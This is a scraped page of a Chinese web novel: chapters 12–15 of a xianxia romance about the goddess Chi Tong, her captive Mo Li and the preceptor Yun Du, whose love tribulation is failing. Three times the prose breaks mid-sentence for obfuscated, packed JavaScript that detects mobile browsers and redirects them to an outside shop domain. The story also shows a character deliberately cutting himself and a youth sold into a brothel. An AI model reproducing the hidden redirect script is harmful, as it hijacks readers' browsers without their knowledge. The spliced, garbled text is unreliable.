l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241428|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯着嗓子干嚎: “主我错了!主我错了!主我错了——” 尽管他连为什么要叫池瞳“主”都不知道,只是刚才听见肥遗这么喊,下意识就学了。 池瞳无语凝噎。 她活了那么多年,见过哭的、见过闹的、见过跪地求饶的、见过破口大骂的,可像墨璃这样嚎得如此不顾形象的,还真是头一回。 她抬手,指尖紫光微闪,想施个禁言术让他安静片刻,墨璃却以为她要动手杀他,吓得眼泪鼻涕糊了一脸,不管不顾地扑上来,死死拽住池瞳的衣袖,“你不是喜欢我吗!怎么能杀了我!?你说过最喜欢璃儿的!!” 声音凄惨又悲壮。 池瞳看着眼前这张哭得乱七八糟的脸,眼泪混着鼻涕,额头上还顶着刚才撞出来的红痕,眼睛肿得像桃子,实在惨不忍睹。 可偏偏那双眼底深处,还残存着一丝近乎愚蠢的信任,仿佛真的相信只要他说“你喜欢我”,池瞳就会心软。 池瞳第一次生出一种生无可恋的感觉,顺着他拽着衣袖的手放下了手臂。 墨璃发现这句话有用,哭声一滞,偷瞄池瞳一眼,见她似乎真的没有动手的意思,胆子又大了些。 他松开手,吸了吸鼻子,然后用那双哭得水汪汪的眼睛,眼巴巴地望着池瞳,软软地唤了一声:“妻主。” “你怎么忍心杀掉你那么可爱的夫郎呢?”声音还带着浓重的鼻音,可怜兮兮的。 池瞳:“......” 他的眼睛圆溜溜的,瞪大凑到池瞳面前,由于是俯视,池瞳只能见到那双如葡萄般剔透的眸子里,映满了自己。 可惜那张小脸实在脏得不像话,像只刚从泥坑里滚过的小花猫,颇为滑稽,让池瞳刚生出的那点心软又回了去。 若是墨璃擦干净脸,或许池瞳真要放过他了。 她哑声道:“没想杀你。” 墨璃听到这话,立刻放松了下来,整个人像没了骨头般软软坐在地上,用手背胡乱抹了把脸,结果把鼻涕抹得更均匀了,又开始记吃不记打地叽叽喳喳起来。 “那你为何要杀它?它惹到你了?你们是仇人吗?” “没有杀,不是。” “那它为什么要喊你主?主是什么?主人?你是它的主人?” “嗯。” “好吧,若是属下犯错,身为主人确实要好好教训一下,不过它的羽翼和脚还能连上吗?冥界有连接筋骨的药,我可以卖给它!” “......” 池瞳:“死了心吧,它短时间内醒不过来。” 墨璃叹了口气,有些遗憾:“好吧,我们现在要去哪?回客栈吗?我有点饿了......”他拍拍屁股站起来,亦步亦趋地跟在池瞳身后。 池瞳脚步不停:“回家。” “啊——”墨璃停住脚步,他拖长声音,满脸不情愿,“可是我不想回去,你殿里全是傀儡人,冷冰冰的,好没意思。人界那么好玩,我还没玩够呢!” 池瞳回身,看了他一眼。 “由不得你。” 12. 第十二章 “下雨了!下雨了!” “真的是雨!娘下雨了——快出来看!” 细细密密的雨从天而降,起初只是零星几点,砸在街道上,紧接着雨势渐大,从丝到线,从线到帘,最终化作瓢泼大雨,哗啦啦地倾泻而下。 街道上,原本跪伏的人群纷纷抬起头。 他们脸上写满了难以置信,干旱持续了整整三个月,任她们用尽方法却也无计可施,可今日求雨祭祀后,竟真的下起了雨。 孩子们张开双臂在雨中转圈,跪着的人群仰着头,任由雨水打湿脸庞,更有甚者,竟直接张开嘴巴喝雨。 欢呼声激荡着,人们心潮澎湃,大雨湿透衣衫也无人在意,过了不知多久,人们的心慢慢落回,开始跪在地上,高呼:“陛下万岁万万岁——陛下万岁万万岁——” 呼喊声一浪高过一浪,在雨幕中回荡。 可紧接着,另一种声音悄然加入,并且以惊人的速度盖过了前者:“国师千岁千千岁——” “国师显灵!天降甘霖!” 起初只是几个人在喊,很快便蔓延开,所有人都在雨中高呼着那个名字,那个在求雨仪式上站在人皇身侧,一袭蓝衣清冷如仙的男子。 千岁千千岁,分明是对凤君的称呼,可此刻在这倾盆大雨中,没有人去计较这些礼法。 他们只知道是那位年轻的国师,算准了天时,主持了仪式,迎来了这场救命的甘霖。 经此一场,人界对于男国师的最后一点芥蒂与质疑,彻底烟消云散,只余感激。 皇城高墙之上,人皇负手而立,站在城楼檐下,望着眼前无边无际的雨幕,叹道:“国师果真料事如神。” 身旁伺候的老宫侍最擅察言观色,立刻谄媚笑道:“国师一看就是上天安排来助陛下的,不仅有玲珑心思,还能洞悉天机,跟陛下,可谓是天生一对呢!” 人皇听到这番话,脸上笑容更甚。 谁料身后一言不发的人突然开口,声音清清柔柔。 “嬷嬷谬赞。臣只是一介凡人,是陛下身为真龙天子,诚心祈雨定会感召上天,才降下甘霖,与臣并无太大关系,”他顿了顿,继续道:“臣只是侥幸算准了天神垂怜之机,适时开启了祭坛。此次降雨,全仰仗陛下圣德,臣不敢居功。” 他轻巧地将功劳推到陛下面前,也避开了那句“天生一对”。 老宫侍自然也听出了国师的话内之意,偷看陛下一眼,发现陛下的脸色极为难看。 她心底微叹了口气,面上却笑呵呵的,“还是国师神机妙算,才能开启天道。” 陛下身后,蓝衣男子没有再回话,只是躬身作揖:“陛下,祭坛后续还需善后,臣尚有要事在身,先行告退。” 说罢,他不等人皇开口,就准备转身离去。 就在他转过身起步离开之际,人皇突然叫住了他: “云渡。” 男子脚步顿住,却没有回头,蓝衣身影立在雨幕边缘,背脊挺直如松,雨水打湿了他的发梢,道袍下摆已浸透成深蓝色,可即便如此,他周身依旧萦绕着那种遗世独立的清冷,仿佛这漫天大雨,万千欢呼都与他无关。 人皇的视线从头到脚将他缓缓扫视了一遍,道: “你虽为国师,但终究是男子,终归是要嫁人的,放眼天下,能配得上你的女子屈指可数,更何况,世上不会有哪个女子,愿意娶一个身份地位比自己还要高的男子......” 她顿了顿,上前一步,“朕还是那句话,若你愿意,这凤君之位,定是你的。” 雨声哗啦作响,城楼上一片死寂,老宫侍屏住呼吸,连眼睛都不敢眨。 云渡垂下眼帘,对身后的话语置若罔顾,脑子里全是倚在窗边淡淡看着他的女子,“陛下,臣早已心有所属,许下终身。” 大雨让宫墙上的风变得格外凌冽,狂风卷起他未束的发丝,扫过脸颊,他却不去理会,任由墨发在风中狂舞。 他转过身,看向人皇。 “臣若是此刻背弃誓言,答应了陛下,臣岂不是成了天下人所指责的朝三暮四之人。” 这已经不是云渡第一次这样说了,可相处那么久,派人暗中查探了那么久,人皇从未见过他口中的“心仪之人”。 时间久了,她便以为,这是男子扯得慌,根本没有这个人。 可此刻,看着云渡那双眼睛里没有撒谎的慌乱,没有推拒的虚伪,只有一片深不见底的平静,仿佛在说信不信由你,事实如此。 “你可知你是男子,这国师之位,本就是朕力排众议给你的,你如今的地位、财富、声望,哪一样不是朕给你的?若朕想收回,也不过是一句话的事。” 云渡静静听着,等她说完了,他才缓缓抬起眼。 “陛下。”他轻轻唤了一声,嘴角微勾,明亮的眼睛坦然地看着人皇。 “臣不在乎。” 这身份地位,金银珠宝,只是人间的一场莫须有,留不下带不走。 他不在乎,更不在乎那冷心冷情的天子说爱他。 云渡说完,不再停留,转身一步步走下城楼。 蓝衣身影渐渐没入雨幕,最终消失在高墙拐角处。 寒风呼啸,宫墙上只余人皇一人。 老宫侍战战兢兢地捧来一件披风,小心翼翼为她披上,劝道:“陛下,外面风大雨急,还是回宫吧?” 人皇怔怔地看着雨幕,脑海中全是那张笑颜,和那句“不在乎”。 “国师这般通透,怎么没想到,人生虽大梦一场,但更应活在当下。” 刚才的对话,老宫侍自然也听见了,“陛下说的是,国师还小,虽通透却也涉世未深,自然不懂女人随口许下的誓言不值一提,等时间久了,见得多了,他自然会懂得陛下的良苦用心。” 云渡的住处在城郊一处僻静的竹林里,马车驶离皇城,穿过欢呼雀跃的街道,渐渐驶入人烟稀少的郊野,雨势似乎比城内小了些,淅淅沥沥的,打在车顶发出细密的轻响。 云渡掀开车帘,静静望着窗外。 沿途的百姓还在雨中庆祝,每一张脸上都写满了劫后余生的喜悦。 云渡看着,鼻尖忽然一酸。 一旁的小侍见到他的神情,以为是被上天感动而忍不住想落泪,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颈侧忽然拂过温热的气息,很轻,带着熟悉的清香,一只手从身后缓缓环上他的腰,掌心温热,隔着薄薄的衣料,贴上他冰凉的小腹。 “渡儿。”那声音如穿越了数百年的时空跨越,又响起了。 明明也没过那么久,明明...... 云渡的眼泪瞬间决堤,他转过身,那双熟悉的紫眸正静静望着他。 池瞳。 真的是她。 不是梦,不是幻觉,不是他思念过度产生的臆想。 她就在这里,真真切切,触手可及。 云渡张了张嘴,想说什么,可喉咙像被什么堵住,一个字都吐不出来,只有眼泪不受控制地汹涌而出,顺着脸颊滚落,砸在那白色素衣上,晕开一片湿意。 池瞳静静看着他的泪眼,没有去安慰,只是抬起另一只手,轻轻拭去他脸上的泪痕。 许久,云渡终于找回了自己的声音。 那声音嘶哑得厉害,带着浓重的哭腔,每一个字都颤抖得不成样子: “妻主。” 13. 第十三章 池瞳轻轻环住他颤抖的肩膀,另一只手有一下没一下地抚着他披散的长发,视线却散在虚空中,没有焦距,紫眸深处无任何温度,只有一片深不见底的平静。 云渡抱得很紧,十指死死攥着她的衣料,指节因用力而泛白,仿佛一松手,她就会消失不见。 许久,池瞳才缓缓开口,声音平静得像在陈述一个与己无关的事情:“此次情劫,你的妻主,是人皇?” 云渡的身体微微一僵。 他抱着她的手臂松了些,缓缓点了点头,可随即又像害怕什么似的,重新收紧,将脸更深地埋进她肩窝,声音闷闷的,有些语无伦次:“妻主,你知道的......我不可能喜欢上她的!我......我只喜欢你。” 此刻的他不再是那个执掌一国祭祀,受万民敬仰的国师,倒像个生怕被心上人误解的普通男子,急切地向妻主剖白心意,推心置腹,毫无保留。 若是让随侍的小侍撞见这一幕,定会大吃一惊,国师平日里云淡风轻,对任何事都没有情绪上的波澜,竟也会有这般为情所困,卑微乞怜的模样。 池瞳轻轻握住云渡紧攥着她衣袖的手,一根手指一根手指地缓缓掰开,动作不算温柔,却也没有用力,只是不容拒绝地将他的手从自己衣料上剥离。 然后,她退后半步,与他拉开距离。 云渡怔怔地看着自己空了的手,又抬头看向池瞳,那双清冷的眸子里此刻盛满了凄哀与惶惑,像只被主人遗弃的幼兽。 池瞳对上他的视线,紫眸依旧平静无波:“云渡,这是你第三次过情劫了。” “若不能顺利渡过,就再也没有机会了。回到神界,将受到八道雷劫,降神格。” 池瞳对上那双凄哀的眸子,不为所动:“第二次情劫回来的四道雷劫,差点要了你的命,闭关修炼了两百年才堪堪追回昔日修为,你觉得这八道雷劫,你能扛得住吗?” 云渡浑身颤抖,他想说“扛得住”,想说“为了你,我什么都愿意”,可那些话在喉咙里滚了又滚,最终一个字都吐不出来。 因为他知道,池瞳说的是事实。 八道雷劫,便是全盛时期的他,也必受重创,更何况是如今。 “即使你扛过了这八道雷劫,”池瞳的声音再次响起,“修为也会大幅下降,若再被降神格,恐怕这神界再无你容身之处。” 八道雷劫,修为受损下,短时间难以恢复,若在此基础上降神格,那便会被打回仙界。 从神到仙,看似只差一字,实则是天壤之别。 云渡的眼睛如血般通红,锁在那双淡漠的紫眸上,唇抖得不成样子,“大人,你心知肚明我为何过不了情劫......” 池瞳不再喊他“渡儿”,他也像报复般地,回敬她“大人”。 但显然,女人对称呼并不在意,只是叹了口气,“所以你的意思......这次情劫,不打算过了?” 云渡垂头不语。 他甚至感到一丝荒谬,对自己的荒谬,在池瞳说出那句神界再无你容身之处时,他心中涌起的竟不是对修为尽失,神格被夺的恐惧,而是可悲地想,若是他早些被天道惩罚,若是他当初没那么拼命修炼提升修为,若是他一直只是个普普通通的小仙,那当初被送到山海殿的人,会不会就不是那个病秧子了。 这个念头钻进心里,撕扯着他的理智,云渡闭上眼,指甲深深掐进掌心。 良久,云渡缓缓睁开眼,点点头:“我不过了。” 池瞳静静看了他片刻,随后转身,果断道:“那就跟我回去,早日受罚早日闭关修炼。” 云渡看着她转身离去的背影,心脏像被一只无形的手狠狠攥紧,痛得他几乎无法呼吸,他猛地伸手,抓住她宽大的衣袖。 “大人......”他软着声音,带着卑微的乞求,“能不能再陪我一次?” “回到神界后,渡儿此生,就再也无法喊大人‘妻主’了。”说到最后三个字,他声音已哽咽得不成样子。 想到这种可能,云渡的心便不受控制的泛起细密的痛来。 回到神界,他和池瞳,就是毫不相干的人了,池瞳不再是他的妻主,而是那个受六界敬仰的山海主。 人界的一切都像是他做的白日梦,梦醒了,两人再无交集。 池瞳转身,看着他泪眼朦胧的模样,静默许久,最终轻轻叹了口气。 她伸出手,指尖拭去他眼角的泪,动作依旧温柔,可眼底依旧没有任何波澜。 “最后一次。” —— 山海殿,环池边。 墨璃坐在池畔,赤足浸在碧绿色的池水里,有一下没一下地踢着水花,池中那些奇形怪状的丑鱼被他惊扰,不满地甩尾游开,有几条甚至跃出水面,对他龇牙咧嘴。 “池瞳什么时候回来?!”他扭头,朝不远处躺在摇椅上的辛月大喊。 辛月闻言,眼皮都懒得掀,悠悠道:“赶紧吃吃喝喝睡去吧。今日大人若不回来,那估摸着得等一个月往上了。” 墨璃气鼓鼓地扭头,瞪了懒散的辛月一眼,“为什么?” “池瞳不是将那怪蛇封印了?难不成她将我送回来,自己留在人界潇洒了??” 辛月终于睁开眼,瞥了他一眼,心里暗暗翻了个白眼,心道真是狐假虎威,竟朝她使起小性子了。 她家大人没回来,还能为什么,定是泡小男人去了。 这话她当然不会说出口,只懒懒道: “大人有要事要办,自然回不来,你老老实实地待在殿里,若是出了什么差错,届时我可救不了你。” 我能出什么差错?这破殿甚是无聊。 墨璃撇撇嘴,小声嘀咕。 这时,天际忽然裂开一道刺目的白光,如利剑般劈开云层,直直刺向山海殿,殿外那层足以抵挡大罗金仙的结界,在这道白光面前竟如纸糊般,被轻易穿透,没有激起半点涟漪。 白光速度极快,眨眼间已冲入殿内,在空中划过一道凌厉的弧线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241430|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟直朝墨璃射来! 墨璃甚至来不及惊呼,只觉眼前白茫茫一片,刺得眼睛生疼,他下意识闭上眼,可那白光已逼近身前,凌厉的劲风刮得他脸颊生疼。 就在白光即将触到他衣带的刹那! “嗡——” 一道湛蓝色的光点凭空出现,精准地挡在墨璃身前,与白光撞在一起。 没有惊天动地的巨响,只有轻微的如同水滴落入湖面的叮声,白光被蓝光阻拦,悬停在半空,距离墨璃的衣带,不过寸许。 辛月不知何时已从摇椅上站起,单手结印,脸色微冷: “这是大人的人,莫碰!” 那白光似有灵智,闻言顿了顿,竟真的停下了攻势。 随即,光芒开始收缩,最终化作一缕青烟,青烟袅袅散去,露出一道窈窕的身影,是个身着白色华服的女子。 衣摆层层叠叠,绣着精致的云纹与仙鹤,袖口镶着细碎的珍珠,在殿内光线下流转着温润的光泽。她眉眼精致如画,皮肤白皙似雪,只是那双眼睛里带着几分骄矜与漫不经心,她撇了撇嘴,声音清脆:“怎么?这个很特殊?连我都碰不得?” 说话间,目光已落在墨璃身上,上下打量,带着毫不掩饰的好奇与探究。 墨璃被她看得浑身不自在,下意识后退一步。 这女子一看便知身份尊贵非凡,而且她方才那道白光,竟能轻易穿透这里的结界。 白芷瞥见他的动作,更加觉得好玩了,于是抬脚便往墨璃身边去,手指朝他领间勾去。 “白芷!” 辛月脸色一变,厉声喝道。 几乎同时,“嗡——”的一道声响,一道无形的力量以墨璃为中心,猛然炸开。 白芷的手指在距离墨璃衣领仅剩半寸时,骤然被一股巨力震开,她闷哼一声,身形不受控制地倒飞出去,直退到几十米外,才勉强稳住身形。 辛月扶额摇头,简直没眼看。 白芷震惊了一秒,不可置信地看向墨璃身上闪烁的金色禁文,“你身上怎会有......”山海主的禁文。 这通身禁文不只能保护其不受伤害,更重要的是,这禁文象征着“所有权”,旁人无法触碰半分,无法伤害半分,甚至连靠近,都会受到禁制的排斥,换句话说,这是山海主在圈禁所有物。 连暮仙居那位都未曾被封上禁文,这小孩是何来头? 不止白芷,震惊的还有墨璃。 他看着身上闪烁的金色禁文,上面全是他看不懂的字,闪烁着温润的金光,有种被温暖包裹的感觉,他能隐约的察觉到这是保护他的东西,但又疑惑,池瞳是什么时候给自己弄上的? 震惊之余,还有一丝感动。 池瞳处理要务还不忘保护自己,这样的妻主真是天地难见。 墨璃想着想着,嘴角不自觉扬起,竟对着自己身上的禁文,傻笑起来。 辛月在一旁看着,嘴角抽搐了一下。 一个两个的,全是恋爱脑。 14. 第十四章 “妻主,那天客栈里的男子......是谁?” 很平常的一天,云渡将袖口挽到手肘,露出白皙修长的小臂,站在灶台前切菜,动作熟练,只是偶尔想起不久前在街上望见的那幕,拿刀切菜的手顿了顿,想了想,还是犹豫着问出口。 这些时日池瞳待他如往常般温柔,陪他住在竹林小院,看他抄写经书,偶尔在他下厨时倚在门边,安静地看他忙碌,并未因他不渡劫而冷落,相处间仿佛他们真的只是人间的一对寻常夫妻。 越是这般,云渡心底越是难受,开始不受控制的想起求雨那天在客栈窗前,与池瞳并肩而立姿态亲密的男子。 看模样,那男子应是与池瞳同住了一晚。 灶台边,池瞳双臂环胸倚在门框上看他切菜,听见这话,忽地轻笑,垂眸落在自己掌心交错的纹路上,仿佛在审视什么有趣的东西,“是个有趣的小孩。” 她评价的随意,可云渡的心却猛地一紧,一时也忘了接下来要说什么,满脑子回荡着池瞳的话。 有趣? 在他记忆中,山海主永远是那副模样,神情淡漠,对万事万物都提不起太大兴致。她收集美人,就像凡人收集珍贵的瓷器,只在乎“完美”,不在乎“灵魂”。 她会对人间忽然响起的琴声稍作停留,会为东海人鱼的歌声赐下奖赏,会因曼妙的舞姿多看两眼,但那都是出于对美的欣赏,与有趣无关。 她甚至很少评价她的收藏品,好与坏,美与丑,留与不留,全在她一念之间,无需向任何人解释。 这样的人,竟说另一个人有趣? 池瞳察觉到云渡的情绪,没做过多解释,只是缓步上前,从身后轻轻环住他的腰,下巴搁在他的肩上,说:“人界区区几十天,若你还在乎这些,以后的日子,该如何度过?” 云渡眼眶微酸,强忍着心底翻涌的情绪。 是啊,天上一天,人间一年,这三世池瞳陪他的日子,总共也就那几十天,甚至超不过一百天,在她漫长到近乎永恒的生命里,这几十天,不过弹指一瞬,他才是那个见不得光的存在,谈何去质问池瞳? 回到天上,谁又知道他曾与山海主有过这段露水情缘? 池瞳不懂云渡内心这些弯弯绕,正想接过他手中的菜刀象征性地切几刀,手腕间突然闪烁起一圈金色禁文,连正伤感的云渡也被吸引了去。 这金色禁文只闪烁了三下,就消失了。 池瞳垂眸看着腕间已消失的禁文,眼底掠过一丝冷意,这禁制是她将墨璃送回山海殿时下的,为了防止有心之人将其带走。 墨璃逃不出山海殿,山海殿里能碰到墨璃的人屈指可数,辛月更不会找死的去碰他。 那定是......白芷回来了。 云渡知道这禁文代表什么意思,可放眼天地,怎会有人能给山海主身上封上禁文? 除非是......山海主给其他人身上封上了禁文,当禁制被触发,或那人有危险时,禁制便会通过神魂连接,在她身上显露出警示的禁文。 这禁文跟寻常封印山海妖物的并不同,能被封上禁制的,那必是极其重要之人。 难不成是那个病秧子? 还是俞星阑回来了? 又或是......那天在客栈里的男子? 池瞳是要回山海殿了吗?她这一去,哪怕只耽搁几个时辰,人间便是数月,等她回来时不知要过多久...... 失神之际,他拿菜刀的手一松,锋利的刀刃划过指尖,割破了另一手的手指。 “嘶——”手指上出现豆大的血珠,云渡回过神,下意识看向池瞳。 疼痛后知后觉地袭来,可他像感觉不到似的,只是看着她。 池瞳听见抽气声,目光落在他手指上不断冒出的血珠。 她没说什么,只是伸手,掌心覆上他的伤口,温润的紫金雾气自她掌心涌出,没入伤口,伤痕以肉眼可见的速度愈合,不过两息便恢复如初,连一道疤痕都没留下,“我要回去办点事,等我。” 云渡张了张嘴,想说什么。 想让她别走,想问她什么时候回来,想问那个身上有她禁制的人到底是谁,可最终,千言万语堵在喉咙里,只化作一声颤抖的:“妻主......” “乖。”池瞳看着他泛红的眼眶,微微倾身,在他额头印下一个轻吻,话音落下,她的身影便如雾气般消散在空气中。 不过眨眼间,厨房里便只剩下云渡一人,还有灶台上那几点未干的血迹。 云渡垂头,两行清泪顺着脸颊掉落,他怔怔地看着自己完好无损的手指,皮肤光滑,指节分明,没有伤口,没有疼痛,至少表面看起来是这样。 可为什么他还是觉得痛? 不是指尖的痛,是心脏的位置像被什么东西狠狠攥紧,撕扯,痛得他几乎无法呼吸。 他握住菜刀,狠了心地向刚才流血的地方再深深地划去,刀刃深深切入皮肉,比刚才那道伤口更深更重,鲜血瞬间喷涌而出。 自己在干什么? 他唾弃地想。 自己身上又没有她的禁制,受了伤流了血......她自然也不会知道。 手指上的伤口还在流血,滴滴答答,落在地面上,可云渡却像感觉不到痛似的,只是无力地靠着灶台,慢慢滑坐在地上。 他将脸埋进双膝间,肩膀开始剧烈颤抖,压抑的哭声从厨房里传出来,在寂静的竹林小院里,显得格外凄凉。 门外,小侍听见动静,慌忙跑了进来,进门后只见自家国师蹲在地上哭泣,一只手还满是血迹,屋内并无她人。 “主子,你的手怎么了!?”他跪下去想去察看,却被云渡猛地推开,“不用管我!” 小侍被推得一个趔趄,跌坐在地上,他怔怔地看着自家主子,那个平日里清冷如仙,仿佛不食人间烟火的国师大人,此刻却像个无助的孩子,蜷缩在灶台边,哭得浑身颤抖。 云渡不想让任何人看见自己这副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241431|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样。 他这副样子太狼狈,根本就不是他们眼中那风光霁月的模样。 或许......或许无论他再怎么伪装,都无法变成池瞳喜欢的模样。 她之所以能留下来陪自己,定是因为愧疚。 作为上神,每隔一段时间天道就会降下神劫,有生死劫,情劫,因果劫...... 历劫成功便会得到天道赏赐,修为大增,不成功便会得到惩罚,轻则雷劫,重则降神格。 一般来讲,情劫是所有神劫中最容易的,只要两人相爱一生或是放下执念,皆可过情劫。 可偏偏,第一世他遇见了池瞳。 小侍心疼的看着自家主子,自从那日求雨后,主子屋里便多出了一个女人,那女人气质与主子如出一辙,清冷,疏离,却又带着某种难以言喻的威严,两人相处时,默契得仿佛认识多年。 他猜,那便是主子口中那位“名不见经传的妻主”。 但此人非常神秘,主子在家时,她便会出现,或倚窗看书,或静坐品茶,偶尔与主子说几句话,声音总是淡淡的。可一旦主子离开小院,进宫处理政务,那女人便会消失得无影无踪,仿佛从未存在过。 眼下,想来那人又消失了。 而主子手上的血,也不知刚才发生了什么。 他不敢多问,只是默默爬起来,去屋里取来药箱,重新跪在云渡面前,小心翼翼地为他清理伤口。 血水混着药粉,在铜盆里晕开淡淡的红,云渡没有抗拒,任由他处理,只是哭声渐渐低了,变成了压抑的抽泣。 小侍看着主子苍白的侧脸,忽然想,有时候,国师嫁给陛下未尝不好。 至少陛下看起来很喜欢主子,虽然帝王之心难测,可至少能得到身份地位,荣华富贵,还有短暂的垂怜与庇护。 不像现在,为了一个来去无踪,身份成谜的女人,把自己弄得遍体鳞伤,尊严尽失。 值得吗? 可他不敢问,只是默默包扎好伤口,然后将沾血的菜刀收起,将地上的血迹擦拭干净。做完这一切,他轻声问:“主子,晚膳还做吗?” 云渡缓缓抬起头,眼眶通红,脸上泪痕未干,可那双眼睛里却已恢复了某种死寂的平静。 “做。”他声音嘶哑,“她说了,让我等她。” 小侍张了张嘴,最后还是无奈应下:“是。” 即使两人心知肚明女人今晚或许不会回来了。 他扶云渡起身,为他换下沾满灰尘的衣衫,重新打水净面,等一切收拾妥当,云渡又变回了那个清冷疏离的国师。 他重新站回灶台前,拿起另一把干净的菜刀,开始切菜,仿佛刚才那个崩溃痛哭的人,根本不是他,刚才的脆弱也只是一瞬的幻觉。 只是偶尔间云渡会停下动作,抬头望向窗外,窗外竹林萧萧,暮色渐沉,女人离去的身影仿佛还残留在空气里。 而那句“等我”,在越来越暗的天色中渐渐变得模糊不清。 15. 第十五章 起初云渡被天道降情劫时,并不在意。 他算算时日,前几次的生死劫,因果劫等皆已安然渡过,按顺序这次确实该轮到情劫了。 最凶险的生死劫他都能扛过去,区区一个情劫,又有何难? 可云华上神听到后,大吃一惊,让他赶紧打消这个念头。 “情劫易过,又难过,重要的是,情劫那边的人是谁。” 云渡疑惑:“既是在人界渡劫,对方定是凡人。凡人之情不过数十载,弹指即过,又有何难?” 云华上神执扇轻敲他的额头,语气无奈:“谁给你说情劫定是在人界过的?” “话本里都这么写。” 云华:“......” “话本当真是害神不浅。” 云渡看他这副样子,更加好奇:“那依兄长之见,情劫还能在哪里过?” 云华敛了笑意,垂眸展开手中玉骨扇,扇面并非寻常山水花鸟,而是一幅缓缓流动的六界舆图,神界云海,仙界宫阙,人界山河,妖界密林......六界一一呈现,栩栩如生。 “情劫在哪里过,取决于何人与你共渡此劫。” 他指尖轻点扇面,舆图随之流转,“寻常神祇与仙君的情劫,大多落在人界,因凡人寿命短暂,情感纯粹,易入劫,也易出劫。” “妖界,魔界也有,但属少数。毕竟在那里走一遭,沾染了妖魔气息,回来后容易被同僚疑心,平添麻烦。” “但还有一种特殊的情况,就是与你渡劫之人并非凡人。” “是神,是仙,是妖,是魔,是鬼......总之,六界众生,一切皆有可能,若是神或仙,渡劫后还能再续前缘,但若是其他的,那就不好说了。”云华抬眸看他,神色复杂,“人间大梦,真能全然舍弃吗?” 云渡被他这副郑重其事的模样逗笑了:“人间大梦,舍弃又有何难?不过是我此生中渺小到不能再渺小的一段日子,平日里闭关就是上百年,更何况这区区几十日的光景?” 云渡说这话时,眼中闪着自信的光。 也是,以云渡在神界的修为,不把情劫当回事也是应该,但是...... “但愿吧。”云华收起扇子,拍了拍他的肩,“哥哥祝你好运。” 有些话他没说出口,怕云渡徒增担忧。 以云渡的修为与天赋,除情劫外其余神劫皆已安然渡过。天道至公,不会让任何一个神祇太过顺遂,放在最后一道的情劫,对方定是个“大人物”。 大到足以让这场“人间大梦”,成为云渡永生难忘的劫。 放眼整个神界,哪有神劫全渡、却毫发无伤的神?天道总会想办法,让渡劫者付出代价,或是剥几层皮,或是削几千年修为,总之,不会让其太轻松。 云华只能看着云渡转身离去的背影,白衣翩翩,步履轻快,仿佛不是去历一场生死攸关的大劫,而是去赴一场无关紧要的宴。 那时的云渡怎会想到,这场他全然不放在眼里的情劫,会成为他往后数百年,乃至数千年,都挣脱不了的心魔。 云渡第一次渡情劫,没有记忆。 天道抹去了他作为神的一切认知,将他投入轮回,成了一个普普通通的凡人。 他生在京城一户富商之家,姓沈,名渡。 沈家三代经商,家底丰厚,母亲是京中最大的绸缎商,父亲出身书香门第,上头还有一位长姐,早些年已娶夫生女,沈渡作为家中幼子,自出生起便备受宠爱。 母父将他捧在手心里,长姐每次行商回来都带些新奇玩意儿给他解闷,他十六岁前的人生,顺遂得近乎完美。 锦衣玉食,仆从如云,琴棋书画虽不精,却也略知一二,容貌更是一等一的好。 父亲常说,不需门当户对,嫁给一处平凡人家,幸福地过完这一生,便是极好的。 沈渡也这么以为。 直到十六岁那年冬天,一场莫名其妙的大火,烧毁了沈家三处仓库,里面囤积的绸缎、茶叶、瓷器,价值数十万两,一夜之间化为灰烬。 紧接着,母亲生意上的对家联手发难,散布谣言,说沈家以次充好,欺行霸市,官府介入调查,虽未查出实证,可沈家声誉已毁,生意一落千丈。 不过三个月,曾经风光无限的沈家,便已家道中落。 母父姐姐变卖家产还债,仍不够填补窟窿。最终,母亲被债主逼得走投无路,一纸诉状告到官府,被判“欺诈行商”,发配边疆苦寒之地。 判决下来那日,父亲当场晕厥。 醒来后,母亲拉着沈渡的手,说:“渡儿,娘爹对不住你,你还小,不能跟着我们受苦。”她将沈渡托付给在京中做小生意的弟弟,沈渡的舅舅。 “舅舅会照顾你的。”母亲摸着他的脸,指尖冰凉,“等爹娘在那边安顿好了,就想办法接你过去。渡儿乖,要听舅舅的话......” 沈渡哭着点头。 他那时太年轻,太天真,以为血脉至亲,总不会害他。 可他忘了人心难测,尤其是在利益面前。 然后,在一个雨夜,舅舅将他灌醉,用麻袋一套,卖进了京城最大的青楼。 醒来时,他躺在陌生的床上,四周是刺鼻的脂粉香气,一个浓妆艳抹的中年男人站在床边,捏着他的下巴打量,啧啧称赞: “果然是块好料子。这脸蛋,这身段,好好调教,定能成头牌。” 沈渡挣扎,哭喊,求饶,换来的是无止境的毒打与囚禁。 